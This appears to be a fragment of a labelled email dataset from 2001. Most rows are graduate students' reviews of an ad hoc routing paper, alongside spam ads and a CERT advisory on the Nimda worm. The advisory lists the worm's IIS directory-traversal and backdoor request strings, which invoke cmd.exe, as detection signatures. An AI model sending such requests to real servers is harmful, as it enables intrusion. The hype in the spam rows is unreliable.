>under this assumption. The route discovery phase of this protocol is >similar to AODV involving broadcast queries (BQ) and replies. Since the >protocol aims to select routes based on metrics other than distance >additional information is appended to the BQ as it propagates. > > Link breakages are detected wither by link level protocol or by >passive acknowledgements. Upon breakage of a routing link a local query >is initiated by the upstream node to find alternate routes. If a local >query fails to generate a reply the upstream node is intimated at it >starts the process all over again. Repeating partial recovery at each >upstream node looks very redundant and involves high control overhead. >Further, concurrent events could generate route loops. The paper argues >on a case by case basis that such a thing does not happen. But in real >systems, messages could get lost or delivered out of order and this may >cause route loops. I don;t believe that this protocol is loop free. > > The simulations presented in the paper appear to be >insufficicient. Standard metrics such as packet delivery, goodput, >latency etc... are not discussed. Results showing the effectiveness of >BQ and LQ are hard to understand. Further the simulator seems to >neglect path propagation and congestion effects and assumes perfect >medium. In sum, stability should be considered to be an important >metric while routing; this paper presents a way to detect stability. >However, other routing protocols enhanced to use stability information >might be more efficient that this. >",0,0 """John C. Bicket"" ",egs@CS.Cornell.EDU,"Tue, 18 Sep 2001 14:56:03 -0400",615 paper 10,"This paper presents associativity based routing, in which the protocol selects routes based on nodes being have states of ""associativity"" based on periods of non-movement. The goal is to establish routes that are stable (ie long-lived), and attain higher throughput. It is a reactive protocol, dealing with route requests on a per need basis. The paper claims that the protocol's associate property also allows fault tolerance in times of base station failures. Also, they claim the protocol is free from loops, deadlock, and packet duplicates. ABR uses a combination of point to point and broadcast routing approaches - routes are initiated by the source and set-up based on demand. ABR makes routing decisions at the destination, so that only the best route will be selective and made active to avoid packet duplicates. The ""rule of associativity"" that the paper discusses states that a mobile hosts' association with its neighbor changes as it is migrating and its movement period can be identified by association ticks which are transmitted on the data link protocol, where each host sends hello messages and updates its associativity ticks depending on the nodes it is surrounded by. By appending associativity tick numbers to route requests by intermediate nodes, the destination can select a route according to its knowledge of all the possible routes. Breaks in links and intermediate node movements are handled by passing new requests up to the source if the source of the break is in the lower half of the route and the destination if the break is in the upper half. Finally, the paper provided simulations which were not as detailed as some of the other papers we have read (well, at least they had simulations in this paper), and more information would have been nice, such as protocol overhead and such. The results seemed a little hard to read. comments: This protocol was interesting because it had data flow acknowledgment and re-transmission scheme incorporated in the protocol. This has its pros and cons, depending on what you're using it for and what protocols are on top of it. This protocol also seemed to be most effective for a very specific type of ad hoc network where nodes move for a short period of time but expeience a ""dormant"" period where they stay in the same area. The interesting thing is that this gives priority to nodes that are more stationary. ",0,0 CERT Advisory ,cert-advisory@cert.org,"Tue, 18 Sep 2001 19:33:41 -0400",CERT Advisory CA-2001-26,"-----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2001-26 Nimda Worm Original release date: September 18, 2001 Source: CERT/CC A complete revision history is at the end of this file. Systems Affected * Systems running Microsoft Windows 95, 98, ME, NT, and 2000 Overview The CERT/CC has received reports of new malicious code known as the ""W32/Nimda worm"" or the ""Concept Virus (CV) v.5."" This new worm appears to spread by multiple mechanisms: * from client to client via email * from client to client via open network shares * from web server to client via browsing of compromised web sites * from client to web server via active scanning for and exploitation of the ""Microsoft IIS 4.0 / 5.0 directory traversal"" vulnerability (VU #111677) * from client to web server via scanning for the back doors left behind by the ""Code Red II"" (IN-2001-09), and ""sadmind/IIS"" (CA-2001-11) worms Initial analysis indicates that the worm contains no destructive payload beyond modification of web content to facilitate its own propagation. We are also receiving reports of denial of service as a result of network scanning and email propagation. I. Description The Nimda worm has the potential to affect both user workstations (clients) running Windows 95, 98, ME, NT, or 2000 and servers running Windows NT and 2000. Email Propagation This worm propagates through email arriving as a MIME ""multipart/alternative"" message consisting of two sections. The first section is defined as MIME type ""text/html"", but it contains no text, so the email appears to have no content. The second section is defined as MIME type ""audio/x-wav"", but it contains a base64-encoded attachment named ""readme.exe"", which is a binary executable. Due to a vulnerability described in CA-2001-06 (Automatic Execution of Embedded MIME Types), any mail software running on an x86 platform that uses Microsoft Internet Explorer 5.5 SP1 or earlier (except IE 5.01 SP2) to render the HTML mail automatically runs the enclosed attachment and, as result, infects the machine with the worm. Thus, in vulnerable configurations, the worm payload will automatically be triggered by simply opening (or previewing) this mail message. As an executable binary, the payload can also be triggered by simply running the attachment. The email message delivering the Nimda worm appears to also have the following characteristics: * The text in the subject line of the mail message appears to be variable, but those seen to date have been over 80 characters long. * There appear to be many slight variations in the attach binary file, causing the MD5 checksum to be different when one compares different attachments from different email messages. However, the file length of the attachment appears to consistently be 57344 bytes. Payload Infected client machines attempt to send copies of the Nimda worm via email to all addresses found in the Windows address book. Likewise, the client machines begin scanning for vulnerable IIS servers. Nimda looks for backdoors left by previous IIS worms: Code Red II [IN-2001-09] and sadmind/IIS worm [CA-2001-11]. It also attempts to exploit the IIS Directory Traversal vulnerability (VU #111677). The selection of potential target IP addresses follows these rough probabilities: * 50% of the time, an address with the same first two octets will be chosen * 25% of the time, an address with the same first octet will be chosen * 25% of the time, a random address will be chosen The infected client machine transfers a copy of the Nimda code to any server that it scans and finds to be vulnerable. Once running on the server machine, the worm traverses each directory in the system (including all those accessible through a file shares) and write a copy of itself to disk using the name ""README.EML"". When a directory containing web content (e.g., HTML or ASP files) is found, the following snippet of Javascript code is appended to every one of these web-related files: This modification of web content allows further propagation of the worm to new clients through a browser or browsing of a network file system. Browser Propagation As part of the infection process, the Nimda worm modifies all web content files it finds (including, but not limited to, files with .htm, .html, and .asp extensions). As a result, any user browsing web content on the system, whether via the file system or via a web server, may download a copy of the worm. Some browsers may automatically execute the downloaded copy, thereby infecting the browsing system. File System Propagation The Nimda worm creates numerous copies of itself (using the name README.EML) in all writable directories (including those found on a network share) to which the user has access. If a user on another system subsequently selects the copy of the worm file on the shared network drive in Windows Explorer with the preview option enabled, the worm may be able to compromise that system. System FootPrint The scanning activity of the Nimda worm produces the following log entries for any web server listing on port 80/tcp: GET /scripts/root.exe?/c+dir GET /MSADC/root.exe?/c+dir GET /c/winnt/system32/cmd.exe?/c+dir GET /d/winnt/system32/cmd.exe?/c+dir GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir GET /msadc/..%5c../..%5c../..%5c/..\\xc1\\x1c../..\\xc1\\x1c../..\\xc1\\x1c../winnt/system32/cmd.exe?/c+dir GET /scripts/..\\xc1\\x1c../winnt/system32/cmd.exe?/c+dir GET /scripts/..\\xc0/../winnt/system32/cmd.exe?/c+dir GET /scripts/..\\xc0\\xaf../winnt/system32/cmd.exe?/c+dir GET /scripts/..\\xc1\\x9c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir Note: The first four entries in these sample logs denote attempts to connect to the backdoor left by Code Red II, while the remaining log entries are examples of exploit attempts for the Directory Traversal vulnerability. II. Impact Intruders can execute arbitrary commands within the LocalSystem security context on machines running the unpatched versions of IIS. Host that have been compromised are also at high risk for being party to attacks on other Internet sites. The high scanning rate of the Nimda worm may also cause bandwidth denial-of-service conditions on networks with infected machines. III. Solutions Recommendations for System Administrators of IIS machines To determine if your system has been compromised, look for the following: * root.exe artifact (indicates a compromise by Code Red II or sadmind/IIS worms making the system vulnerable to the Nimda worm) * admin.dll artifact or unexpected .eml files in the directories with web content (indicates compromise by the Nimda worm) The only safe way to recover from the system compromise is to format the system drive(s) and reinstall the system software from trusted media (such as vendor-supplied CD-ROM). Additionally, after the software is reinstalled, all vendor-supplied security patches must be applied. The recommended time to do this is while the system is not connected to any network. However, if sufficient care is taken to disable all server network services, then the patches can be downloaded from the Internet. Detailed instructions for recovering your system can be found in the CERT/CC tech tip: Steps for Recovering from a UNIX or NT System Compromise http://www.cert.org/tech_tips/win-UNIX-system_compromise.html Apply the appropriate patch from your vendor A cumulative patch which addresses all of the IIS-related vulnerabilities exploited by the Nimda worm is available from Microsoft at http://www.microsoft.com/technet/security/bulletin/MS01-044.asp Recommendations for End User Systems Apply the appropriate patch from your vendor If you are running a vulnerable version of Internet Explorer (IE), the CERT/CC recommends applying patch for the ""Automatic Execution of Embedded MIME Types"" vulnerability available from Microsoft at http://www.microsoft.com/technet/security/bulletin/MS01-020.asp Run and Maintain an Anti-Virus Product It is important for users to update their anti-virus software. Most anti-virus software vendors have released updated information, tools, or virus databases to help detect and partially recover from this malicious code. A list of vendor-specific anti-virus information can be found in Appendix A. Many anti-virus packages support automatic updates of virus definitions. We recommend using these automatic updates when available. Don't open e-mail attachments The Nimda worm may arrive as an email attachment named ""readme.exe"". Users should not open this attachment. Disable JavaScript End-user systems can become infected with the Nimda worm by browsing web sites hosted by infected servers. This method of infection requires the use of JavaScript to be successful. Therefore, the CERT/CC recommends that end user systems disable JavaScript. Appendix A. Vendor Information Antivirus Vendor Information Central Command, Inc. http://support.centralcommand.com/cgi-bin/command.cfg/php/endus er/std_adp.php?p_refno=010918-000005 Command Software Systems http://www.commandsoftware.com/virus/nimda.html Data Fellows Corp http://www.datafellows.com/v-descs/nimda.shtml McAfee http://vil.mcafee.com/dispVirus.asp?virus_k=99209& Sophos http://www.sophos.com/virusinfo/analyses/w32nimdaa.html Symantec http://www.symantec.com/avcenter/venc/data/w32.nimda.a@mm.html Trend Micro http://www.antivirus.com/vinfo/virusencyclo/default5.asp?VName= TROJ_NIMDA.A http://www.antivirus.com/pc-cillin/vinfo/virusencyclo/default5. asp?VName=TROJ_NIMDA.A You may wish to visit the CERT/CC's computer virus resources page located at http://www.cert.org/other_sources/viruses.html References Authors: Roman Danyliw, Chad Dougherty, Allen Householder, Robin Ruefle ______________________________________________________________________ This document is available from: http://www.cert.org/body/advisories/CA200126_FA200126.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To be added to our mailing list for advisories and bulletins, send email to cert-advisory-request@cert.org and include SUBSCRIBE your-email-address in the subject of your message. * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2001 Carnegie Mellon University. Revision History September 18, 2001: Initial Release -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 5.0i for non-commercial use Charset: noconv iQCVAwUBO6fYPgYcfu8gsZJZAQEG4QQAoblNKbAX/bVmJBdXy2Juf9OsMZeO2bR5 UW6hi7ddDkdUNBe52du2wU+n34tSjzA3c+0g9tYwKSXFeOp+m/CCLeYEXR+VTTel RAmY1tOzDfMIDxD6+GrvfajYMz4pCGoSJgIdPGKxJm0Tnf6iv4akaYSAB4BPRw7A FVp6JcCbatg= =FizN -----END PGP SIGNATURE-----",0,1 Xiao-Biao Lin ,all@math.ncsu.edu,"Wed, 19 Sep 2001 10:30:08 -0400",VPI contest,"Thanks for your help. The response to VPI and Putnam contest from students is overwhelming. Please tell anyone who is interested that the VPI ocntest is in HA201, 11/03 >from 8:30 - 11:00am. On site registration starts 8:10. We have a seminar preparing students for the contest, meets 3:40-4:30 Wednesdays. -- Xiao-Biao Lin xblin@math.ncsu.edu Phone: (919)515-7440 or (919)515-2382/Math. Office Fax: (919) 515-3798 Department of Mathematics ____ North Carolina State University \\ ~-_ Raleigh, NC 27695-820 \\ ~. ________ \\_____\\___________________/-~~~~~~~`-.._ / o O o o o o O O o o o o o o O o o ) ~-.__ ___..----.. _.-~ ~~~---~~___________)---------~~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ==(__D ------------------------------------------------------- ",0,0 Emin Gun Sirer ,egs@CS.Cornell.EDU,"Wed, 19 Sep 2001 14:26:11 -0400",615 PAPER 10 ,">From eyh5@ee.cornell.edu Wed Sep 19 14:23:19 2001 Date: Wed, 19 Sep 2001 14:22:47 -0400 (EDT) From: Edward Hua To: egs@CS.Cornell.EDU Subject: Summary of the ABR paper ------------------------------------------------- This paper presents a routing algorithm in which the selection of a suitable routh is based on the stability, or the associativity, of a route with respect to the nodes that comprise of the route. Unlikse many other routing algorithms for ad-hoc networks, this approach gives the destination node the authority to choose a suitable route for data transmission. In such a scenario, several routes may be available, some more stable (i.e., a higher degree of associativity) than the others The routing algorithm, executed at the destination node, will then choose the route with the best associativity. If more than one route has the same computed degree of associativity, the one that presents the minimal number of hops to the destination is chosen. It is clear that the ABR algorithm favors longevity of the route at the expense of added route acquisition overhead. The proposed associativity-based routing algorithm seems suitable for an ad hoc network that does not experience drastic topological changes. Indeed, this design philosophy is based on the author's belief that ""in an ad-hoc mobile network, fast adaptability at the expense of excessive radio bandwidth consumption is undesirable."" This may also justify the author's choice of a conference-room size environment for his simulations. ABR has a mechanism that is invoked when a link of the chosen route is severed. The Localized Query (LQ) is enabled to seek out an alternative partial route by the downstream pivoting node. This operation is possible because of the degree of associativity that is inherent in the chosen route. However, an issue that needs to be addressed here is a trade-off between the time-out period after which the pivoting node gives up searching for alternative partial node and the database of the upstream node of the broken link to queue the incoming packets from the source. One possible solution is to have the upstream node send a signal back to the source, temporarily halting the flow of the data packets until a certain amount of time has passed, after which the route is either re-established or a new route needs to be acquired. One disadvantage of the ABR is its excessive use of the bandwidth in a BW-limited ad-hoc mobile environment. On the other hand, ABR may be a good candidate when we bring QoS into ad-hoc networks. Because it introduces a sense of stability in choosing a route, that may be desirable for many multimedia-intensive applications. However, in that regard, the classical question remains: how to effectively trade off between time delay, bandwidth utilization, and the guaranteed QoS level.",0,0 Ian Nathaniel Hobbs ,Elizabeth Cash ,"Wed, 19 Sep 2001 20:08:56 -0400",Re: The System over view chart," 757-5761 obviously in 508 area code and I take it we arent meeting at 8 so someone tell me whats up when they know ian ",0,0 Elizabeth Cash ,"jryder@WPI.EDU, ian_h@WPI.EDU, lizesc@WPI.EDU","Wed, 19 Sep 2001 18:25:23 -0700",Abstract.txt," ===== ******************************* Elizabeth Cash lizesc@yahoo.com*lizesc@wpi.edu http://www.wpi.edu/~lizesc ******************************* __________________________________________________ Terrorist Attacks on U.S. - How can you help? Donate cash, emergency relief information http://dailynews.yahoo.com/fc/US/Emergency_Information/",0,1 Dewayne ,play99@mailhub.media.mit.edu,"Thu, 20 Sep 2001 06:15:44 +0600",message from Dewayne,"Hi, em..... I gotta tell you something. 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Patsy _______________________________________________________ Patsy Wang-Iverson Mid-Atlantic Eisenhower Consortium (http://www.rbs.org/eisenhower) Research for Better Schools 444 N. Third Street Philadelphia, PA 19123-4107 vox: 215.574.9300 x264 fax: 215.574.0133 net: wang@rbs.org --- You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu ",0,1 ming hao ,egs@CS.Cornell.EDU,"Sun, 23 Sep 2001 12:32:56 -0400",615 PAPER 10,"Associativity-Based Routing for Ad-Hoc Mobile Networks by C-K. Toh this paper claims that in some cases, the mobile nodes shows stability to some degree. they usually stay on on place for a while before moving to another place. the new algorithm in the paper take advantage of this property and selects the route with higher stability so that reducing the chances of route re-construction. the algorithm includes 1. route discovery. it consists query-reply cycle. source initiates the query sends associtivity info in the query packet. at last, the destination node selects a best route and sends it back. the criteria for selecting route is based on in the order of priority, associtivity, length o froute and link status. 2. maintainance: in the case of src movement, RN is sends to invalidate all donw-stream nodes and new route discovery is initiated. if dest moves, its immediate up-stream node will perform LQ and connect the host. if fail, it sends RM[0] to its up-stream node to do LQ till it reaches src. if IN moves, it dwon-stream node sends RN[1] in the down direction to invalidate the route. while its immediate up-stream node tries to do LQ to re-construct the route. there are two things about route construction which may deserve to mention. a. the algorithm only minatains one route. but from the point of probability, it is more possible for a long route to break than a shorter one. so if the route is long, maybe it is more desirable to have multiple routes. b. considering this scenairo, the dest node moves far away. pivoting nodes keep trying LQ and backtrack. it may be more efficient to let source to do route discovery again. c. the loop free property stems from the fact that the route discovery packe has a unique sequence number. nodes will discard the packet with same sequence number. in the case of route maintainence and LQ, i think the upperstream nodes simply donot participate into the operation to avoid loop. but this has side effect because that eliminate the possible optimization that some upper stream nodes are closer to the destination. i am not very satisfied with the simulation because the paper lacks the result showing how considering associtivity helps better performance of the network; how associtivity affects the performance; to what degree the new algorithm increases performance in comparison to old algorithms. all these questions are not answered. only analysis is given in the term of performance comparison. summary: the main contribution of the paper is considering the associativity of the nodes so that route's longevity plays a important role. as for the other sides, i think this algorithm is similar to AODV. it exposes a reseach direction that taking advantage of specific features of ad hoc network helps to increase the erformance of network. btw, this paper is too long. do not know if it is good or bad. at least it increases the workload of cs615:) -ming ",0,0 webmaster4826@yahoo.com,playant_content@torche.com,"Sun, 23 Sep 2001 23:11:08 -0000",ADV: I bet that I make more money in the Web design business than you do. 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Since I know how powerful a sales tool my website is, and I want everyone I bring on to be as successful as possible, I will even give you a copy of my website (customized to look like you invented it though) hosted for free to sell from. I know it works because I get signups every day. Then you are almost guaranteed to make a ton of money with it, as long as you get traffic to it. If you want to see some of the sites built by my solution, the site I have great success selling from, or how I make all the money I do with it, and how you can to, or to show awesome the software is to use, call me or email me. 1-888-549-0766 or 1-954-585-6460 This week only. Monday-Saturday 11-7 EST. If you do not wish to receive email from me, email: webmaster0273@yahoo.com (anything that goes here gets removed) or call. ",1,0 webmaster4825@yahoo.com,playant_content@torche.com,"Sun, 23 Sep 2001 23:05:55 -0000",ADV: I bet that I make more money in the Web design business than you do. Time:11:05:55 PM,"I bet that I make more money in the Web design business than you do. From the customers I received last month I made $1560 income. I also profited on these people $1000 up front. And you know the funniest part? I didn't even design their sites! They did it for themselves! I bet your sales pitch doesn't come anywhere near mine. My sales pitch looks like this: Free Website! Free .com, .net, or .org name! Free First Month! Free Shopping Cart for E-commerce! Free Secure Credit Card Transaction Server Access! Free Website Editor! (Allows you to control your entire site from anywhere in the world with nothing more than your Internet browser!) Free Website Statistics Analysis! Unlimited everything! Unlimited Email Addresses! Unlimited Hosting Space! Unlimited Bandwidth! Unlimited Pages! Unlimited Capacity of items in the Shopping Cart! Fastest Websites!!! (Hosted on the best servers and bandwidth anywhere!) Website Promotion Options... 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You can't give anyone the as much value as I can. You can't give them the power to control their site as I can. You can't give them the prices that I can. You can't get them online as fast as I can. And even if somehow you found a way to do all that, you won't able to keep your customers as long as I do. Wow. Don't believe me? The interface I give my customers is easier to use than any other I have seen. It is by far the best web based interface you will ever see. A monkey would have a hard time making a site look bad with the software I include for my Customers. I charge them $35 a month and I only pay $10! I know I could charge a lot more for the service, but I am more interested in getting as many customers as possible now, than I am on making more on them. If you did the numbers to make sure I wasn't making them up, you'll see $560 missing this month. Where did it come from? There is an optional search engine submission program, that 70 percent of the people that signup opt for, I charge them $30/month. I pay $10. If they do decide they would like custom work done, no problem. I do it for them, and they don't try to bother me to change little things all the time on their site, because I give them the power to do it themselves, which they prefer. I like it to, keeps my time free for things I enjoy. In addition to being able to get at customers you can't, and being able to upsell them to all the custom design work I like, when ever I like, I bet I have a whole bunch of other things you DO NOT HAVE. Private Labeled to me Website Builder/Store Builder (Best Anywhere) Private Labeled to me Shopping Cart Private Labeled to me WebMail and Pop3 Service Private Labeled to me Secure Server Hosting Private Labeled to me Domain Name Registration Private Labeled to me Search Engine Submission Private Labeled to me Control Panel for FTP, email, user access... I can make as many new templates as I like to start them out from too. I also never have to pay for custom CGI work to provide E-Commerce solutions anymore. It is all done for me already, even the payment gateway integration. I use the same service my end-users use to do design work and It has cut my design time in more than half. I can make a complete E-Commerce enabled site in 15-30 minutes, email, shopping cart, ftp, running on the net! Can you do that?? Long story short. Unless you have some plans I don't know about, My business will be beating yours for sure in about 12 months. Can you compete? Are you getting customers as fast as I am? Are you making as much on them as I am? Is that money you are making staying with you every month? Is there a way for you to provide my customers something I don't? Can you say the same for yourself? I am going to let you in on SECRET now. Even though I know that my business will most likely be making a lot more than yours in 12 months, I am not greedy. I know that BIG money is not in being greedy. I know that No matter how much money my design company makes next year, If I combined 4-5 heavy hitters in the industry they would best me. How can I beat that? Easy. Use my connection with the company that made me what I am, and enabled me to do things that no other design companies could do. I am best friends with the president of the company that designed all the amazing server side software I use to power my business, and I know that if he wanted to, he could start turning on every webdesign company in the world as a dealer if they saw what I was making. So, instead of trying to convince him to not show anyone else the software I use to make so much money (impossible.) I figured out that the best thing for me to team up with him, show other people how I was making all the money that I was, and get cut in on the deal. Long story short. I am making a ton of money retailing my E-Commerce Solution, and I love it. Now that I have tasted that success, I have decided to take it to the next level, and give others the same ability to make that same money I do. I can get you in with the company that I deal with that provided me with all of those amazing things that make my service so awesome. My reward: If I introduce even a few people to my supplier so to speak. And those people become even half as successful with it as I have, I can have my buy rate reduced even further below $10 a month (which is already insanely cheap if you haven't noticed) Your reward: If you will probably be making even more money retailing it than I am. All I am doing is driving traffic to my website, people signup. You probably already have a customer base underneath you that would love the product, and are more likely to offer the custom design work than I. I don't do flash, and I don't even advertise on my site that I do custom design work at all. You know, I'll tell you the truth, this interface is so easy that anyone could do it. HTML knowledge or not, really anyone can be a full Design/Hosting/E-Commerce solution provider with this. They even will bill your customers for free for you. Saved me the trouble of getting another merchant account to accept credit cards for this. I paid over $2000 for the privledge of being able to do what I do. I am extremely happy about that because I know people who have paid over $7,000 to do the same. The ball game has changed though. They want to bring on successful dealers like me NOW. And to make this easier, they have dropped the pricing to $99, $299, or $999 depending on how good you want your buy rates. At $999 they are even eating the setup fees ($10 gets your customer a free domain name, and first month). Since I know how powerful a sales tool my website is, and I want everyone I bring on to be as successful as possible, I will even give you a copy of my website (customized to look like you invented it though) hosted for free to sell from. I know it works because I get signups every day. Then you are almost guaranteed to make a ton of money with it, as long as you get traffic to it. If you want to see some of the sites built by my solution, the site I have great success selling from, or how I make all the money I do with it, and how you can to, or to show awesome the software is to use, call me or email me. 1-888-549-0766 or 1-954-585-6460 This week only. Monday-Saturday 11-7 EST. If you do not wish to receive email from me, email: webmaster0273@yahoo.com (anything that goes here gets removed) or call. ",1,0 Edward Hua ,egs@CS.Cornell.EDU,"Mon, 24 Sep 2001 16:30:49 -0400",615 Paper # 10,"Associativity-Based Routing Protocol for Ad-Hoc Mobile Networks This paper presents a routing algorithm in which the selection of a suitable routh is based on the stability, or the associativity, of a route with respect to the nodes that comprise of the route. Unlikse many other routing algorithms for ad-hoc networks, this approach gives the destination node the authority to choose a suitable route for data transmission. In such a scenario, several routes may be available, some more stable (i.e., a higher degree of associativity) than the others The routing algorithm, executed at the destination node, will then choose the route with the best associativity. If more than one route has the same computed degree of associativity, the one that presents the minimal number of hops to the destination is chosen. It is clear that the ABR algorithm favors longevity of the route at the expense of added route acquisition overhead. The proposed associativity-based routing algorithm seems suitable for an ad hoc network that does not experience drastic topological changes. Indeed, this design philosophy is based on the author's belief that ""in an ad-hoc mobile network, fast adaptability at the expense of excessive radio bandwidth consumption is undesirable."" This may also justify the author's choice of a conference-room size environment for his simulations. ABR has a mechanism that is invoked when a link of the chosen route is severed. The Localized Query (LQ) is enabled to seek out an alternative partial route by the downstream pivoting node. This operation is possible because of the degree of associativity that is inherent in the chosen route. However, an issue that needs to be addressed here is a trade-off between the time-out period after which the pivoting node gives up searching for alternative partial node and the database of the upstream node of the broken link to queue the incoming packets from the source. One possible solution is to have the upstream node send a signal back to the source, temporarily halting the flow of the data packets until a certain amount of time has passed, after which the route is either re-established or a new route needs to be acquired. One disadvantage of the ABR is its excessive use of the bandwidth in a BW-limited ad-hoc mobile environment. On the other hand, ABR may be a good candidate when we bring QoS into ad-hoc networks. Because it introduces a sense of stability in choosing a route, that may be desirable for many multimedia-intensive applications. However, in that regard, the classical question remains: how to effectively trade off between time delay, bandwidth utilization, and the guaranteed QoS level. ",0,0 Walter Bell ,egs@CS.Cornell.EDU,"Tue, 25 Sep 2001 02:50:29 -0400",615 PAPER #10,"10) Associativity-Based Routing for Ad-Hoc Mobile Networks In this paper, they author motivates that Ad-Hoc networks do not have hosts which move about randomly, and presents the idea that hosts undergo a period of stability between movements, and that said stability tends to last for a decent period of time. From this idea, they've created ABR (Associativity-Based Routing) which finds routing paths are selected by their likelihood of being long-lived and therefore more stable. By choosing paths that are unlikely to be broken, ABR lowers the amount of communication bandwidth used to repair routes that are broken by having less broken routes. Routes are found on demand like algorithms such as DSR, but unlike DSR all routes are computed from a source to a destination, and the destination picks a single route which is most likely to be long-lived based on the associtativity count of the hosts [A measure of how long a link between nodes has been active.] From there routes are repaired at breakpoints via LQ local queries which attempt to repair the route. If a repair is not possible at the breakpoint, the LQ's bubble backwards towards the sender, trying to repair the route at each step. For local problems in the network, this scheme repairs routes cheaply, but it is easy to construct cases where this approach is very resource inefficient. They do an extensive performance evaluation using simulations to demonstrate the effectiveness of ABR, but tend to overwhelm the reader with details. It was difficult to pick out the important numbers from the large volume of data in the 7 pages of results. A more concise results section would have been more useful. I thought the insight of finding long lived routes not only made sense but matches my ideas on how Ad-Hoc networks are used. Although there are some subset of nodes that are constantly in motion, most nodes are stable for some period of time, and those are the nodes that should be chosen for routing paths, as they are likely to remain stable. ",0,0 """ai998.com"" <781022@vip.sina.com>",staci@aleve.media.mit.edu,"Tue, 25 Sep 2001 16:20:32 +0800",★成功学：陈安之全套讲学、卡耐基成功法则,精彩★这里集合身份证真伪、学历、法律法规、商标注册、ICP备案等查询★绝对家庭必备软件含给刚出生的小孩取名软件、万婴跟踪（0-3岁）视频讲解、瑜伽身体健康视频等★★成功学：陈安之全套讲学、卡耐基成功法则、克林顿有声自传等★更多精彩电影下载。★登陆网址【 http://www.ai998.com/ 立即加入即可获得10点的积分！ 绝对真实可靠，绝对精彩，绝对无毒！！！ 深圳市日聪资讯有限公司,1,1 c.tavoularis@utoronto.ca,COM S 615 ,"Tue, 25 Sep 2001 11:28:48 -0400",615 PAPER 10,"ABR (Associativity-Based Routing) is a simple straightforward on-demand protocol that attempts to make use of stability in ad hoc routing. ABR employs the unique concept of associativity to determine the amount of stability in routes. It is measured in terms of the number of ticks, or beacons, successfully exchanged between neighbors. The longer a pair of nodes are co- reachable, the higher the number of ticks. If a node and its neighbor move out of each other’s reach, their common node ticks are reset indicating movement or instability. ABR uses broadcast and point-to-point routing to reactively construct, and reconstruct routes. A source node initiates a broadcast query (BQ), which is propagated through all possible routes to the destination (DEST). DEST chooses a single route based on highest associativity (and shortest route if there is a tie), and forwards a REPLY along that route. Each node keeps track of its neighbors and hop counts to the source and destination. The Route Re- construction (RRC) Phase is invoked when an existing route changes. Nodes that lose a link along a path become pivoting nodes. A downstream pivoting node will send Route Notifications (RN) downstream to remove invalid routes. An upstream pivoting node will initiate a Localized Query (LQ), by broadcasting messages, to try to partially rebuild the path from itself. It will only select a new route that is shorter or equal to the previous route. If no suitable partial path to DEST is found before an LQ_TIMEOUT, the path will backtrack upstream and repeat LQ until the pivoting node is ½ the number of hops of the original path. At that point, it will send RNs upstream to erase the entire route and the source starts a new BQ. This algorithm is particularly efficient in dense node populations, where partial routes are easier to find, and therefore reduces re-construction time and avoids the maintenance of multiple routes. It may not perform as well in sparse environments. As an on-demand protocol, ABR requires nodes to maintain a moderate amount of information (single path to node without maintaining entire path in each node), and forwarding of routing packets is also moderate since periodic broadcasts are not required. Therefore, it is fair to say that ABR has the potential to perform well in large-scale networks, but this issue is not addressed in this paper. An interesting study would be to simulate ABR in high population networks. In addition, it is not clear how ABR will react when a network partition occurs. ABR applies well to BS-oriented WLANs, as it can exploit the stability of existing base stations, and provide recovery from BS failure. The associativity measure may not be as successful in mobile ad hoc networks. The rule of associativity states that after instability, or node migration, a node will be stable for some time. In ABR, the application of this rule is modified, and is used such that the longer a node has been stable within a group of neighbors, the more likely it will continue to be stable. Therefore it is not a direct application of the rule, nor is it guaranteed to select the most stable routes, since a node that was moving could suddenly become stable, and vice versa. To improve selection of stable routes, ABR can consider node speed in addition to associativity states. ",0,0 """John R. Teifel"" ",egs@CS.Cornell.EDU,"Tue, 25 Sep 2001 11:31:05 -0400",615 PAPER 10,"ABR: This paper presents a new routing protocol, Associative-Based Routing (ABR), that is in between broadcast and point-to-point routing. ABR does not attempt to maintain current route information at every node. Routing decisions are made at the DEST and only one route is used, while other routes remain open for other communication. Routing choices are based on the associativity property--a MH's association with its neighbors will change when it is migrating and be stable when the MH is dormant. The best route is composed of all (ideally) nodes with high associativity (dormant nodes), based on the assumption that this route will likely be longer lived than routes composed with low associativity (migrating nodes). This is one of the first papers that we have read that gives actual data from a sample distributed system (Active Badge System), which the authors believe that for practical mobile users, some dormant time will be spent before migration. Interestingly, ABR can be applied to BS-oriented WLANS to improve robustness when BS failures occur. In addition to conventional metrics (recovery time, minimum hop, propagation delay, loop avoidance, & link capacity) this author introduces longevity of a route, relaying load of INs supporting existing routes, and knowledge of link capacities of the selected route. Their target model is migration based, laptops or PDAs inside of buildings. The simulation appears to be on par with the other simulation environments we have seen in the other papers. Figures even have statistical confidence intervals! This paper was very extensive in its background information and discussions, and the analysis was good. The biggest complaint that this paper was perhaps too 